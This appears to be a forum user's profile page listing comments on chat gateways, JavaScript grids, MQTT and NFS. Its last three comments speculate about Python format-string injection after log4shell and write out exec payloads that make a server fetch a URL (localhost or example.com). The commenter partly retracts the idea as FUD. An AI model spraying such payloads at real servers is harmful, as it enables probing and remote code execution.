oneweekwonder
Joined 15 years ago
Karma
564
Submissions
421
Member since
Aug 2
Recent submissions
Comment · 2 years ago
> Any application that can be written in JavaScript, will eventually be written in JavaScript. - Jeff Atwood (2007)
Comment · 3 years ago
> However, in May 2018, the company chose to close down these corresponding gateways due to limitations inherent in those protocols.
It was a way to onboard tech people and once they were big enough they closed the door for those audience.
Which really hurt me because i live in a country with a small tech community and was happily interacting with them using irc, until slack changed into a walled garden.
Comment · 4 years ago
little bit off-topic, but do anybody know of something similar for soap/wsdl? I'm aware of soapui mock service.
Comment · 4 years ago
playing something in windows media player also keep it open, or running a powershell script that presses F13 or scroll lock also works.
Comment · 4 years ago
If your up for jQuery-ui see SlickGrid examples[0] especially "Spreadsheet: features of the previous example but using a DataView"[1].
[0]: https://github.com/6pac/SlickGrid/wiki/Examples
[1]: http://6pac.github.io/SlickGrid/examples/example-spreadsheet...
Comment · 4 years ago
If you have 2FA a OTP can be sent to a trusted device or app to allow a password reset without having access to email?
Comment · 4 years ago
Personally i use mqtt over websockets, paho[0] is a good js library. It support last will for dc's and the message queue design makes it easy to think of and debug. There also a lot of mq brokers that will scale well.
[0]: https://www.eclipse.org/paho/index.php?page=clients/js/index...
Comment · 4 years ago
hah, before ci/devops tools was popular and you had to setup multiple identical/fall-over machines you could scp your .bash_history clean it up a bit and source it, neat.
Comment · 4 years ago
not op but we recently wanted to mount nfs and the sysadmin was adamant we use automounter[0] instead of fstab because if the nfs mount is not available it can hang the kernel.
Not sure if it is true or just sysadmin lore but was interesting enough to learn about a alternative.
Comment · 4 years ago
Clickpocalypse 2[0] is a idle dungeon crawler i really like to watch with a Final Fantasy/Ultima kind of feel.
Comment · 4 years ago
From the blog post, FF will keep the functionality to block web requests, unlike chrome.
> After discussing this with several content blocking extension developers, we have decided to implement DNR and continue maintaining support for blocking webRequest
Comment · 4 years ago
Thanks for invalidating my naive/fud scenario, I must apologize for fearmongering, when I played with it in a py repl it really felt like a vector for attack.
I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).
Comment · 4 years ago
In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.
So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.
While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.
Comment · 4 years ago
The author of flask(and a lot more python stuff) goes a bit into detail here[0].
And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.
I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.
As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.
[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
Comment · 4 years ago
Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack.
So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.